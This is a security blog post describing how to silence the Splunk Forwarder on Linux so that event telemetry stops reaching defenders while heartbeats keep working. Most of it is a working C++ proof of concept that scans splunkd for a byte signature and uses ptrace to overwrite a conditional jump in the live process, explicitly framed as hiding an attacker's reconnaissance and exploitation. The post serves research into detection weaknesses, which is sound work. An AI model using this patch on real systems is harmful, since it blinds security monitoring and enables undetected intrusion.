ShhPlunk: Muting the Splunk Forwarder

reverse-engineering c++ linux

Many organizations rely on Splunk and its Splunk Forwarder to deliver event data as a sole source of telemetry. For quite some time, I’ve wondered if it’s possible to mute the Splunk Forwarder’s splunkd process, so that no event data reaches the respective endpoint. Technically, this should be possible, once the required privileges are granted on a system. Therefore, I’ve decided to take a look at this. While Splunk Forwarder is available for various platforms, I’ve targeted the Linux version. This means that you need permissions to ptrace the splunkd process to be able to do any modifications.

A quick analysis in a disassembler showed that there exist several threads that are being used to transmit data, with two of them being:

As an attacker, it’s obvious to target the latter, while keeping the heartbeat thread intact. If there would be a way to keep events from being sent, any executed commands used for local reconnaissance or exploitation would be invisible for defenders, since no telemetry is available. Here’s what the event sending thread looks like in a disassembler:

As can be seen above, a simple patch of the if-statement (je instruction) would force splunkd to always enter an error condition that occurs in case the event receiver isn’t reachable. Note that this does not touch the heartbeat thread. The je instruction can be replaced with a nop and jmp instruction to keep the alignment in place. Of course, each version of splunkd is different and so is the offset to the instruction to be patched. To counter this, I’ve generated a signature of the surrounding bytes, which worked on the latest two versions at the time of writing this article. As a simple proof of concept, I came up with the following code:

// get PIDs of all splunkd processes (in case there are multiple)
auto PIDs = get_pids();
uint64_t offset = 0;

// pattern for instruction to patch
// 0F84?0000?80BBA000000000
std::vector<unsigned char> pattern_vec = {0x0F, 0x84, 0xAA, 0x00, 0x00, 0xAA, 0x80, 0xBB, 0xA0, 0x00, 0x00, 0x00, 0x00};

for(auto it=PIDs.begin(); it != PIDs.end(); it++) {
    pid_t PID = *it;
    std::cout << "Using PID: " << PID << std::endl;
    std::string splunk_path = do_readlink("/proc/" + std::to_string(PID) + "/exe");
    std::cout << "splunkd binary is at " << splunk_path << std::endl;

    // determine offset of instruction by a pattern scan
    if(offset == 0) {
        offset = scan(splunk_path, pattern_vec);
    }

    // get base address of process by PID
    void *addr = get_base(PID) + offset;
    unsigned char resBuf[8];

    ptrace(PTRACE_ATTACH, PID, 0, 0);

    union u{
        long int val;
        char chars[8];
    } data;

    int bufferLength = sizeof(data.chars);
    data.val = ptrace(PTRACE_PEEKDATA, PID, addr, NULL);

    std::vector<unsigned char> res(data.chars, data.chars + bufferLength);

    std::cout << "reading @ " << addr << std::endl;
    for(auto it=res.begin(); it!=res.end(); it++) {
        std::cout << std::hex << (int)*it << std::dec;
    }
    std::cout << std::endl;

    std::cout << "patching @ " << addr << std::endl;
    std::vector<unsigned char> toWrite = res;
    toWrite[0] = 0x90; // nop
    toWrite[1] = 0xe9; // jmp
    int i = 0;
    for(auto it = toWrite.begin(); it!=toWrite.end(); it++) {
        ptrace(PTRACE_POKEDATA, PID, addr + i, *it);
        i++;
    }
    ptrace(PTRACE_CONT, PID, 0, 0);

    std::cout << "Done." <<  std::endl;
}

The full PoC can be found in the threathunters-io GitHub repository.

This code targets each splunkd process running on the local machine. After executing this, no event data will be transferred, while heartbeats will continue working. Note that you need to use ptrace for this, since other syscalls like process_vm_writev can’t be used to alter code while the process is running. You could also patch the binary itself, but that’s another story. All tests were performed with version 9.0.1 of the Splunk Forwarder.

What do we learn from this experiment?


Game Hacking #5: Hacking Walls and Particles

reverse-engineering c++ binary gamehacking

Analysis of Satisfyer Toys: Discovering an Authentication Bypass with r2 and Frida

radare2 r2 frida r2frida reverse-engineering web vulnerability

Haxxoring a Hisense Smart TV

exploitation reverse-engineering vulnerability